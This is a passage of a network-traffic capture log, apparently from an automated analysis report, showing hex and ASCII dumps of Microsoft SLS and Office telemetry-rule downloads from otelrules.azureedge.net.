2024-11-26 07:04:08 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: e3341842-1549-45ca-8e03-5c8542f4e75e MS-RequestId: 222534ca-ba12-43a2-ad48-c37d6fdb888a MS-CV: eYVlS0fK6UaEMF18.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 07:04:07 GMT Connection: close Content-Length: 30005
2024-11-26 07:04:08 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-26 07:04:08 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.8	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:27 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:27 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:27 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070427Z-174f7845968qj8jrhC1EWRh41s0000000v1g000000004tkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:27 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-26 07:04:27 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-26 07:04:27 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-26 07:04:27 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-26 07:04:27 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-26 07:04:27 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-26 07:04:27 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-26 07:04:28 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-26 07:04:28 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-26 07:04:28 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.8	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:29 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:30 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070430Z-174f7845968cpnpfhC1EWR3afc0000000usg000000003tub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:30 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.8	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:29 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:30 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070430Z-174f78459685726chC1EWRsnbg0000000v60000000003bgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:30 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.8	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:29 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:30 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070430Z-174f78459685m244hC1EWRgp2c0000000uy0000000004zkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:30 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.8	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:29 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:30 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070430Z-174f7845968v75bwhC1EWRuqen0000000g30000000002v8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:30 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.8	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:29 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
